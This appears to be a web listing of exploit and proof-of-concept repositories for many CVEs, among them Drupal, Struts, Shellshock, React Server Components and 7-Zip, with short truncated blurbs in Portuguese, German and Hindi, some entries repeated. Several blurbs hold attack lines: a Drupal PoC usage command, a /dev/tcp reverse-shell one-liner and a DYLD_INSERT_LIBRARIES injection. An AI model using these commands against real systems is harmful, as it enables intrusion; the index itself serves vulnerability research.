CVE-2023-36250

CVE-2023-36250 CSV-Injection-Schwachstelle in GNOME Time Tracker Version 3.0.2, die es lokalen Angreifern ermöglicht, beliebigen Code über eine manipulierte .tsv-Datei beim Erstellen eines neuen Datensatzes auszuführen. Schwachstellentyp CSV-Injection Entdecker Bruno Teixeira Referenz...

react2shell-poc

React2Shell - PoC da CVE-2025-55182 Prova de Conceito para CVE-2025-55182 , uma vulnerabilidade crítica de Execução Remota de Código não autenticada em React Server Components. Pontuação CVSS: 10.0 Crítico Vulnerabilidade A vulnerabilidade existe no desserializador do protocolo Flight do React. A...

CVE-2019-6340

CVE-2019-6340 CVE-2019-6340 POC Drupal rce python poc.py url php func command node number Exemplo: python poc.py http://192.168.142.148/drupal-8.6.9/ system ipconfig 200 Twitter: @0w4ys...

fetch-broker-conf

Fetch Broker Configuration O Fetch Broker Configuration tentará baixar a configuração do broker RocketMQ para procurar indicadores de comprometimento na variável rocketmqHome. A variável é usada por vários atacantes para executar código via CVE-2023-33246. Para mais detalhes, consulte o blog da...

CVE-2025-55188

CVE-2025-55188: Escrita Arbitrária de Arquivos no 7-Zip Prova de conceito do CVE-2025-55188, uma escrita arbitrária de arquivos no 7-Zip. Corrigido na versão 25.01, lançada em 3 de agosto de 2025. Nota: CVE-2025-55188 é diferente do CVE-2025-11001. A versão em que o CVE-2025-11001 foi corrigido...

primefaces

मेज़ से कोड तक: रेस्तरां POS में RCE भेद्यता के माध्यम से एक यात्रा इस अवसर पर हम संयोगवश रेस्तरां के लिए POS एप्लिकेशनों XETUX में मौजूद एक भेद्यता से टकराए, जो रेस्तरां की निगरानी और स्वचालन का समाधान है। पनामा में यह कई रेस्तरां द्वारा व्यापक रूप से उपयोग किया जाने वाला टूल है। मौजूदा भेद्यता ...

craft-cms-RCE-CVE-2024-56145

craft-cms-RCE-CVE-2024-56145 Um ambiente de laboratório POC para CraftCMS RCE CVE-2024-56145. Descrição da Vulnerabilidade Uma potencial vulnerabilidade RCE é encontrada no craftCMS se a opção registerargcargv estiver habilitada no php.ini. Este é um ambiente de laboratório POC onde você pode...

CVE-2026-47630

CVE-2026-47630 — NVIDIA Triton Inference Server: TRITONBATCHSTRATEGYPATH के माध्यम से मनमाना dlopen triton-inference-server/core के कस्टम बैचिंग-स्ट्रैटेजी लोडर में निरपेक्ष पथ ट्रैवर्सल। एक मॉडल कॉन्फ़िगरेशन पैरामीटर बिना सत्यापन के dlopenRTLDNOW | RTLDLOCAL को पास कर दिया जाता है, इसलिए मॉडल के...

CVE-2024-55503

CVE-2024-55503 Injeção de comando no dylib do Termius App para MacOS Descrição Um problema no Termius anterior à v.9.9.0 permite que um atacante local execute código arbitrário através de um script malicioso no componente DYLDINSERTLIBRARIES, usando dylib. DYLDINSERTLIBRARIES=exploitcombined.dyli...

Exploit for Missing Authentication for Critical Function in Coreweave Marimo

CVE-2026-39987 - Marimo Pre-Auth RCE xpl0ited by infrar3dh...

CVE-2023-27524

CVE-2023-27524 Configuração Padrão Insegura no Apache Superset Leva à Execução Remota de Código Captura de tela Requisitos Python3.7+ Sistemas Operacionais Suportados Linuxer Wingays Para começar $ git clone https://github.com/Pari-Malam/CVE-2023-27524 $ cd CVE-2023-27524 $ pip/pip3 install -r...

CVE-2022-23967

CVE-2022-23967 No TightVNC 1.3.10, há um erro de sinalidade de inteiro e um consequente estouro de buffer baseado em heap em InitialiseRFBConnection em rfbproto.c para o componente vncviewer. Não há verificação do tamanho passado para malloc, por exemplo, -1 é aceito. Isso aloca um bloco de taman...

CVE-2017-5638

CVE-2017-5638 | Struts s2-045 Descrição É possível realizar um ataque RCE com um valor malicioso de Content-Type. Se o valor de Content-Type não for válido, uma exceção é lançada, que é então usada para exibir uma mensagem de erro para um usuário. Versões afetadas Struts 2.3.5 Struts 2.3.31 Strut...

CVE-2026-104890 Kunstmaan CMS: MediaBundle extension blacklist bypass allows authenticated administrators to upload executable PHP files leading to remote code execution

Kunstmaan CMS is an open source content management system based on the Symfony framework. Prior to 7.3.2, src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php performs the blacklistedextensions check case-sensitively in FileHandler::getFilePath and lowercases the stored extension afterward. An...

CVE-2026-104890 Kunstmaan CMS: MediaBundle extension blacklist bypass allows authenticated administrators to upload executable PHP files leading to remote code execution

Kunstmaan CMS is an open source content management system based on the Symfony framework. Prior to 7.3.2, src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php performs the blacklistedextensions check case-sensitively in FileHandler::getFilePath and lowercases the stored extension afterward. An...

CVE-2026-104890

Kunstmaan CMS , a Symfony-based content management system, contains a blacklist bypass vulnerability in the MediaBundle extension (specifically in src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php). Prior to version 7.3.2 , the FileHandler::getFilePath function performs a case-sensitive check...

CVE-2026-104890

Kunstmaan CMS is an open source content management system based on the Symfony framework. Prior to 7.3.2, src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php performs the blacklistedextensions check case-sensitively in FileHandler::getFilePath and lowercases the stored extension afterward. An...

CVE-2017-9841

phpunit-shell ⭐ um script python3 simples para explorar o CVE-2017-9841. o exploit - CVE-2017-9841 ❗ script simples que explora uma vulnerabilidade de execução remota de código encontrada em PHPUnit anterior às versões 4.8.28 e 5.x anteriores a 5.6.3. faz uma requisição POST para o alvo com...

CVE-2014-6271

Hellshocker 0.1.1 Ferramenta para explorar a vulnerabilidade Shellshock Cansado de usar exploits fracos para Shellshock ou simplesmente usar "/bin/bash & /dev/tcp/IP/port 0&1" para entrar no servidor? Sim, você precisa fazer upload e executar algo mais complexo no servidor, e codificar em base64 ...

CVE-2018-6574

CVE-2018-6574 Execução remota de comandos no comando go get do Golang. CVE-2018-6574 essa vulnerabilidade afeta o comando go get do Golang e permite que um atacante obtenha execução de código em um sistema ao instalar uma biblioteca maliciosa; essa vulnerabilidade foi corrigida no Go 1.8.7, 1.9.4...